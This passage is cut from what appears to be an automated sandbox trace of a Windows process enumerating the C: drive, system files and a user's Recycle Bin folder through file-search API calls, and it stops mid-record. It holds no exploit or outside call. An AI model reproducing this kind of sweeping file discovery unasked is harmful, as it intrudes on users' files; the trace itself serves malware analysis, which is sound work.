lpFindFileData=0x1edb80*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7e261de0, ftCreationTime.dwHighDateTime=0x1d2f1ba, ftLastAccessTime.dwLowDateTime=0x7e261de0, ftLastAccessTime.dwHighDateTime=0x1d2f1ba, ftLastWriteTime.dwLowDateTime=0xf6b58080, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.732] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.732] GetFullPathNameW (in: lpFileName="C:\\pagefile.sys", nBufferLength=0x105, lpBuffer=0x1eda50, lpFilePart=0x0 | out: lpBuffer="C:\\pagefile.sys", lpFilePart=0x0) returned 0xf [0121.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.732] GetFileAttributesExW (in: lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), fInfoLevelId=0x0, lpFileInformation=0x1edf70 | out: lpFileInformation=0x1edf70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0121.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.733] FindFirstFileW (in: lpFileName="C:\\pagefile.sys", lpFindFileData=0x1edb80 | out: lpFindFileData=0x1edb80*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7e261de0, ftCreationTime.dwHighDateTime=0x1d2f1ba, ftLastAccessTime.dwLowDateTime=0x7e261de0, ftLastAccessTime.dwHighDateTime=0x1d2f1ba, ftLastWriteTime.dwLowDateTime=0xf6b58080, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.733] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edeb0) returned 1 [0121.733] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0121.733] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ed940, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0121.733] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x1edb50 | out: lpFindFileData=0x1edb50*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c3faf0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28c3faf0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.734] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0121.734] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0121.735] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xd48da600, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd48da600, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd48da600, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0121.735] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0121.736] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7e1ef9c0, ftCreationTime.dwHighDateTime=0x1d2f1ba, ftLastAccessTime.dwLowDateTime=0x7e1ef9c0, ftLastAccessTime.dwHighDateTime=0x1d2f1ba, ftLastWriteTime.dwLowDateTime=0xf67ec0e0, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0121.736] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7e261de0, ftCreationTime.dwHighDateTime=0x1d2f1ba, ftLastAccessTime.dwLowDateTime=0x7e261de0, ftLastAccessTime.dwHighDateTime=0x1d2f1ba, ftLastWriteTime.dwLowDateTime=0xf6b58080, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0121.736] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0121.736] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x277bdc50, ftLastAccessTime.dwHighDateTime=0x1d5e889, ftLastWriteTime.dwLowDateTime=0x277bdc50, ftLastWriteTime.dwHighDateTime=0x1d5e889, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0121.736] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x962285b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x962285b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0121.737] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x438c37b0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x438c37b0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0121.737] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x22182fa0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2221b520, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2221b520, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0121.737] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7e1a3700, ftCreationTime.dwHighDateTime=0x1d2f1ba, ftLastAccessTime.dwLowDateTime=0xf5f54d60, ftLastAccessTime.dwHighDateTime=0x1d2fc7c, ftLastWriteTime.dwLowDateTime=0xf5f54d60, ftLastWriteTime.dwHighDateTime=0x1d2fc7c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0121.737] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0121.737] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0121.737] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.738] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede00) returned 1 [0121.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1eddc0) returned 1 [0121.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede00) returned 1 [0121.738] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0121.738] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\", nBufferLength=0x105, lpBuffer=0x1ed890, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\", lpFilePart=0x0) returned 0x10 [0121.738] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x1edaa0 | out: lpFindFileData=0x1edaa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c3faf0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28c3faf0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.739] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c3faf0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28c3faf0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.739] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x31762e0, ftLastAccessTime.dwHighDateTime=0x1d3384a, ftLastWriteTime.dwLowDateTime=0x31762e0, ftLastWriteTime.dwHighDateTime=0x1d3384a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-2345716840-1148442690-1481144037-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0121.739] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x31762e0, ftLastAccessTime.dwHighDateTime=0x1d3384a, ftLastWriteTime.dwLowDateTime=0x31762e0, ftLastWriteTime.dwHighDateTime=0x1d3384a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-2345716840-1148442690-1481144037-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0121.739] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edd50) returned 1 [0121.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edd10) returned 1 [0121.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede00) returned 1 [0121.739] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0121.740] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\", nBufferLength=0x105, lpBuffer=0x1ed890, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\", lpFilePart=0x0) returned 0x10 [0121.740] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x1edaa0 | out: lpFindFileData=0x1edaa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c3faf0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28c3faf0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.740] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c3faf0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28c3faf0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.740] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x31762e0, ftLastAccessTime.dwHighDateTime=0x1d3384a, ftLastWriteTime.dwLowDateTime=0x31762e0, ftLastWriteTime.dwHighDateTime=0x1d3384a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-2345716840-1148442690-1481144037-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0121.740] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.741] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edd50) returned 1 [0121.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edd10) returned 1 [0121.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.741] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000", lpFilePart=0x0) returned 0x3e [0121.741] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpFilePart=0x0) returned 0x3f [0121.741] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*.*", lpFindFileData=0x1ed9f0 | out: lpFindFileData=0x1ed9f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x31762e0, ftLastAccessTime.dwHighDateTime=0x1d3384a, ftLastWriteTime.dwLowDateTime=0x31762e0, ftLastWriteTime.dwHighDateTime=0x1d3384a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.741] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x31762e0, ftLastAccessTime.dwHighDateTime=0x1d3384a, ftLastWriteTime.dwLowDateTime=0x31762e0, ftLastWriteTime.dwHighDateTime=0x1d3384a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.741] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x28c3faf0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28c3faf0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0121.742] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.742] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.742] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini", lpFilePart=0x0) returned 0x4a [0121.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.742] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1ede10 | out: lpFileInformation=0x1ede10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x28c3faf0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28c3faf0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x81)) returned 1 [0121.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.742] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini", lpFilePart=0x0) returned 0x4a [0121.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.742] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1ede10 | out: lpFileInformation=0x1ede10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x28c3faf0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28c3faf0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x81)) returned 1 [0121.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.743] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000", lpFilePart=0x0) returned 0x3e [0121.743] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpFilePart=0x0) returned 0x3f [0121.743] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*", lpFindFileData=0x1ed9f0 | out: lpFindFileData=0x1ed9f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x31762e0, ftLastAccessTime.dwHighDateTime=0x1d3384a, ftLastWriteTime.dwLowDateTime=0x31762e0, ftLastWriteTime.dwHighDateTime=0x1d3384a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.743] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x31762e0, ftLastAccessTime.dwHighDateTime=0x1d3384a, ftLastWriteTime.dwLowDateTime=0x31762e0, ftLastWriteTime.dwHighDateTime=0x1d3384a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.743] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x28c3faf0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28c3faf0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0121.744] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28c3faf0, ftCreationTime.dwHighDateTime=0x1d2f180, 